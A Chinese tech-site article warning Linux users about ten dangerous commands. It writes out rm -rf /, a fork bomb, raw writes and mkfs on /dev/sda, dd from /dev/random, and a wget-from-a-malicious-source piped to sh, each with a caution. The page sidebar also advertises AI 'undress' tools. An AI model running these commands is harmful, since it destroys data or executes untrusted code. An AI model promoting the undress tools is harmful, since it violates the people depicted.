目錄
Linux裡10個最危險的指令介紹:
下列是一些rm 指令的選項:
1.rm指令在Linux下通常用來刪除檔案。
2. :{:| :&};: 指令
3. 指令> /dev/sda
4. mv 資料夾 /dev/null
5. wget http://malicious_source -O- | sh
6. mkfs.ext3 /dev/sda
7. > file
8. ^foo^bar
9. dd if=/dev/random of=/dev/sda
10. 隱藏指令
首頁 運維 linux運維 Linux最危險的命令有哪些

Linux最危險的命令有哪些

May 13, 2023 pm 11:55 PM
linux

Linux裡10個最危險的指令介紹:

1. rm -rf 指令
rm -rf指令是刪除資料夾及其內容最快的方式之一。
僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩潰。

下列是一些rm 指令的選項:

1.rm指令在Linux下通常用來刪除檔案。

2.rm -r 指令遞歸的刪除資料夾,甚至是空的資料夾。
3.rm -f 指令能不經過詢問直接刪除『只讀檔案』。 Linux下刪除檔案並不在乎該檔案是否是唯讀的,而只是在意其父目錄是否有寫入權限。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm指令其實也是沒有刪除提示的,只是一般的發行版都會將rm透過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。
4.rm -rf / : 強制刪除根目錄下所有東東。
5.rm -rf *:強制刪除目前目錄的所有檔案。
6.rm -rf . : 強制刪除目前資料夾及其子資料夾。
從現在起,當你要執行rm -rf指令時請留心一點。我們可以在「.bashrc」檔案中對‘rm‘指令建立rm -i的別名,來預防用 ‘rm‘指令刪除檔案時的事故,它會要求你確認每一個刪除要求。 (譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好你在做什麼)

2. :{:| :&};: 指令

這就是個fork 炸彈的實例。
具體操作是透過定義一個名為 ‘:‘的函數,它會呼叫自己兩次,一次在前台另一次運行在後台。它會反覆的執行下去直到系統崩潰。

3. 指令> /dev/sda

這個指令會將某個『指令『的輸出寫到區塊裝置/dev/sda。
該操作會將在區塊裝置中的所有資料區塊替換為命令寫入的原始數據,導致整個區塊裝置的資料遺失。

4. mv 資料夾 /dev/null

這個指令會移動某個『資料夾『到/dev/null。
在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的資料都會被清除,然後返回寫入操作成功。
當然,要說明的是這個指令並不能阻止資料復原軟體-所以,真正的徹底毀滅,需要採用專用的軟體或手法來完成。

5. wget http://malicious_source -O- | sh

該指令會從一個(也許是)惡意來源下載一個腳本並執行。
Wget指令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意: 你應該隨時注意你下載套件或腳本的來源。只能使用那些從可信任的來源下載腳本/程式。

6. mkfs.ext3 /dev/sda

上列指令會格式化區塊裝置'sda',在執行這個指令後你的區塊裝置(硬碟)會被格式化,直接讓你的系統達到不可復原的階段。
通常我們不會直接使用/dev/sda這樣的設備,除非是作為raw設備使用。
一般都需要將sda分成類似sda1、sda2這樣的分割區後才使用。當然,無論你使用sda或sda1,這樣對區塊裝置或分割區進行mkfs都是毀滅性的,上面的資料都會被蒸發了。

7. > file

這個指令常用來清空檔案內容或記錄指令輸出。

不過請在執行前,確認輸出的檔案是空的或還不存在,否則原來的檔案可真是恢復不了了-連資料復原軟體都未必能幫助你了。
你可能真正想用的是“>>”,即累加新的輸出到文件,而不是刷新那個文件。
如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf”的命令會覆蓋設定檔或其他任何的系統設定檔。

8. ^foo^bar

這個指令用來編輯先前執行的指令而無需重打整個指令。
用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。

9. dd if=/dev/random of=/dev/sda

這個指令會向區塊裝置sda寫入隨機的垃圾檔案從而擦出數據,讓你的系統可能陷入混亂和不可恢復的狀態。
記得上面說過mv到黑洞並不能徹底刪除資料麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。

10. 隱藏指令

下面的指令其實就是上面第一個指令 (rm -rf)。
這裡的程式碼是隱藏在十六進制裡的,一個無知的用戶可能就會被愚弄,如果在終端裡運行下面命令可能會擦除你的根分區。
真正的危險是隱藏起來的,不會被輕易的偵測到。你必須時時留心你在做什麼結果會如何。
切記,千萬不要編譯/執行從未知來源的程式碼。

以上是Linux最危險的命令有哪些的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

vscode需要什麼電腦配置 vscode需要什麼電腦配置 Apr 15, 2025 pm 09:48 PM

VS Code 系統要求:操作系統:Windows 10 及以上、macOS 10.12 及以上、Linux 發行版處理器:最低 1.6 GHz,推薦 2.0 GHz 及以上內存:最低 512 MB,推薦 4 GB 及以上存儲空間:最低 250 MB,推薦 1 GB 及以上其他要求:穩定網絡連接,Xorg/Wayland(Linux)

vscode 無法安裝擴展 vscode 無法安裝擴展 Apr 15, 2025 pm 07:18 PM

VS Code擴展安裝失敗的原因可能包括:網絡不穩定、權限不足、系統兼容性問題、VS Code版本過舊、殺毒軟件或防火牆干擾。通過檢查網絡連接、權限、日誌文件、更新VS Code、禁用安全軟件以及重啟VS Code或計算機,可以逐步排查和解決問題。

notepad怎麼運行java代碼 notepad怎麼運行java代碼 Apr 16, 2025 pm 07:39 PM

雖然 Notepad 無法直接運行 Java 代碼,但可以通過借助其他工具實現:使用命令行編譯器 (javac) 編譯代碼,生成字節碼文件 (filename.class)。使用 Java 解釋器 (java) 解釋字節碼,執行代碼並輸出結果。

vscode是什麼 vscode是乾什麼用的 vscode是什麼 vscode是乾什麼用的 Apr 15, 2025 pm 06:45 PM

VS Code 全稱 Visual Studio Code,是一個由微軟開發的免費開源跨平台代碼編輯器和開發環境。它支持廣泛的編程語言,提供語法高亮、代碼自動補全、代碼片段和智能提示等功能以提高開發效率。通過豐富的擴展生態系統,用戶可以針對特定需求和語言添加擴展程序,例如調試器、代碼格式化工具和 Git 集成。 VS Code 還包含直觀的調試器,有助於快速查找和解決代碼中的 bug。

vscode 可以用於 mac 嗎 vscode 可以用於 mac 嗎 Apr 15, 2025 pm 07:36 PM

VS Code 可以在 Mac 上使用。它具有強大的擴展功能、Git 集成、終端和調試器,同時還提供了豐富的設置選項。但是,對於特別大型項目或專業性較強的開發,VS Code 可能會有性能或功能限制。

VSCode怎麼用 VSCode怎麼用 Apr 15, 2025 pm 11:21 PM

Visual Studio Code (VSCode) 是一款跨平台、開源且免費的代碼編輯器,由微軟開發。它以輕量、可擴展性和對眾多編程語言的支持而著稱。要安裝 VSCode,請訪問官方網站下載並運行安裝程序。使用 VSCode 時,可以創建新項目、編輯代碼、調試代碼、導航項目、擴展 VSCode 和管理設置。 VSCode 適用於 Windows、macOS 和 Linux,支持多種編程語言,並通過 Marketplace 提供各種擴展。它的優勢包括輕量、可擴展性、廣泛的語言支持、豐富的功能和版

Linux的主要目的是什麼? Linux的主要目的是什麼? Apr 16, 2025 am 12:19 AM

Linux的主要用途包括:1.服務器操作系統,2.嵌入式系統,3.桌面操作系統,4.開發和測試環境。 Linux在這些領域表現出色,提供了穩定性、安全性和高效的開發工具。

git怎麼查看倉庫地址 git怎麼查看倉庫地址 Apr 17, 2025 pm 01:54 PM

要查看 Git 倉庫地址,請執行以下步驟:1. 打開命令行並導航到倉庫目錄;2. 運行 "git remote -v" 命令;3. 查看輸出中的倉庫名稱及其相應的地址。

See all articles